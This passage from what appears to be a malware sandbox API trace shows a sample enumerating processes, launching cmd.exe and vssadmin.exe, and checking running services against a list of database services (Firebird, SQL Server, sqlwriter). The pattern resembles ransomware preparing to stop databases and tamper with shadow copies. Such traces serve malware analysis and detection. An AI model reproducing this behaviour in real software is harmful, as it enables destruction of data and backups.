th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0046.142] lstrlenW (lpString="batman_oliver.exe") returned 17 [0046.142] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0046.143] lstrlenW (lpString="formation.exe") returned 13 [0046.143] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0046.144] lstrlenW (lpString="whole.exe") returned 9 [0046.144] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0046.145] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0046.145] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0046.145] lstrlenW (lpString="disorder.exe") returned 12 [0046.145] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0046.146] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0046.146] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0046.147] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0046.147] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0046.147] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0046.147] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0046.148] lstrlenW (lpString="perspective.exe") returned 15 [0046.148] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0046.149] lstrlenW (lpString="demand-site.exe") returned 15 [0046.149] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0046.149] lstrlenW (lpString="attachment.exe") returned 14 [0046.149] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0046.150] lstrlenW (lpString="valid-permit.exe") returned 16 [0046.150] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0046.151] lstrlenW (lpString="knights.exe") returned 11 [0046.151] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0046.151] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0046.151] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0046.152] lstrlenW (lpString="mobsync.exe") returned 11 [0046.152] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0046.153] lstrlenW (lpString="ohbdap.exe") returned 10 [0046.153] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0046.153] lstrlenW (lpString="cmd.exe") returned 7 [0046.153] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0046.154] lstrlenW (lpString="conhost.exe") returned 11 [0046.154] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0046.155] lstrlenW (lpString="vssadmin.exe") returned 12 [0046.155] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0046.156] lstrlenW (lpString="VSSVC.exe") returned 9 [0046.156] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.156] lstrlenW (lpString="svchost.exe") returned 11 [0046.156] Process32NextW (in: hSnapshot=0x198, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0046.157] CloseHandle (hObject=0x198) returned 1 [0046.157] Sleep (dwMilliseconds=0x1f4) [0047.160] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x530070 [0047.161] EnumServicesStatusExW (in: hSCManager=0x530070, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0047.161] GetLastError () returned 0xea [0047.161] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x40038c8 [0047.161] EnumServicesStatusExW (in: hSCManager=0x530070, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40038c8, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40038c8, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0047.162] CloseServiceHandle (hSCObject=0x530070) returned 1 [0047.162] lstrlenW (lpString="Appinfo") returned 7 [0047.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0047.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0047.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0047.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0047.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0047.162] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0047.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.162] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0047.162] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0047.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0047.162] lstrlenW (lpString="AudioSrv") returned 8 [0047.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0047.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0047.162] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0047.162] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0047.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0047.162] lstrlenW (lpString="BFE") returned 3 [0047.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0047.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0047.162] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0047.162] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0047.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0047.162] lstrlenW (lpString="CryptSvc") returned 8 [0047.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0047.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0047.163] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0047.163] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0047.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0047.163] lstrlenW (lpString="CscService") returned 10 [0047.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0047.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0047.163] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0047.163] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0047.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0047.163] lstrlenW (lpString="DcomLaunch") returned 10 [0047.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.163] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0047.163] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0047.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0047.163] lstrlenW (lpString="Dhcp") returned 4 [0047.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0047.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0047.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0047.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0047.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0047.163] lstrlenW (lpString="Dnscache") returned 8 [0047.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0047.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0047.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0047.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0047.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0047.163] lstrlenW (lpString="DPS") returned 3 [0047.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0047.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0047.163] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0047.163] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0047.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0047.164] lstrlenW (lpString="eventlog") returned 8 [0047.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0047.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0047.164] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0047.164] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0047.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0047.164] lstrlenW (lpString="EventSystem") returned 11 [0047.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0047.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0047.164] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0047.164] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0047.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0047.164] lstrlenW (lpString="gpsvc") returned 5 [0047.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0047.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0047.164] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0047.164] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0047.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0047.164] lstrlenW (lpString="iphlpsvc") returned 8 [0047.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.164] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0047.164] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0047.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0047.164] lstrlenW (lpString="LanmanServer") returned 12 [0047.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0047.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0047.164] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0047.164] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0047.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0047.164] lstrlenW (lpString="LanmanWorkstation") returned 17 [0047.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.164] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0047.165] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0047.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0047.165] lstrlenW (lpString="lmhosts") returned 7 [0047.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0047.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0047.165] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0047.165] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0047.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0047.165] lstrlenW (lpString="MMCSS") returned 5 [0047.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0047.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0047.165] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0047.165] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0047.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0047.165] lstrlenW (lpString="MpsSvc") returned 6 [0047.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0047.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0047.165] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0047.165] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0047.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0047.165] lstrlenW (lpString="Netman") returned 6 [0047.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0047.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0047.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0047.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0047.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0047.165] lstrlenW (lpString="netprofm") returned 8 [0047.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0047.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0047.165] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0047.165] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0047.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0047.165] lstrlenW (lpString="NlaSvc") returned 6 [0047.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0047.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0047.166] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0047.166] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0047.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0047.166] lstrlenW (lpString="nsi") returned 3 [0047.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0047.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0047.166] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0047.166] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0047.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0047.166] lstrlenW (lpString="PcaSvc") returned 6 [0047.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0047.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0047.166] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0047.166] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0047.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0047.166] lstrlenW (lpString="PlugPlay") returned 8 [0047.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0047.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0047.166] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0047.166] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0047.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0047.166] lstrlenW (lpString="Power") returned 5 [0047.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0047.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0047.166] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0047.166] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0047.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0047.166] lstrlenW (lpString="ProfSvc") returned 7 [0047.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0047.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0047.166] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0047.166] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0047.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0047.167] lstrlenW (lpString="RpcEptMapper") returned 12 [0047.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.167] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0047.167] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0047.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0047.167] lstrlenW (lpString="RpcSs") returned 5 [0047.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0047.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0047.167] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0047.167] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0047.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0047.167] lstrlenW (lpString="SamSs") returned 5 [0047.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0047.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0047.167] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0047.167] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0047.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0047.167] lstrlenW (lpString="Schedule") returned 8 [0047.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0047.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0047.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0047.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0047.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0047.167] lstrlenW (lpString="SENS") returned 4 [0047.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0047.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0047.167] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0047.167] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0047.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0047.167] lstrlenW (lpString="ShellHWDetection") returned 16 [0047.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.167] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0047.168] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0047.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0047.168] lstrlenW (lpString="Spooler") returned 7 [0047.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0047.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0047.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0047.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0047.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0047.168] lstrlenW (lpString="swprv") returned 5 [0047.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0047.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0047.168] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0047.168] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0047.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0047.168] lstrlenW (lpString="SysMain") returned 7 [0047.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0047.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0047.168] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0047.168] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0047.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0047.168] lstrlenW (lpString="Themes") returned 6 [0047.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0047.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0047.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0047.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0047.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0047.168] lstrlenW (lpString="TrkWks") returned 6 [0047.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 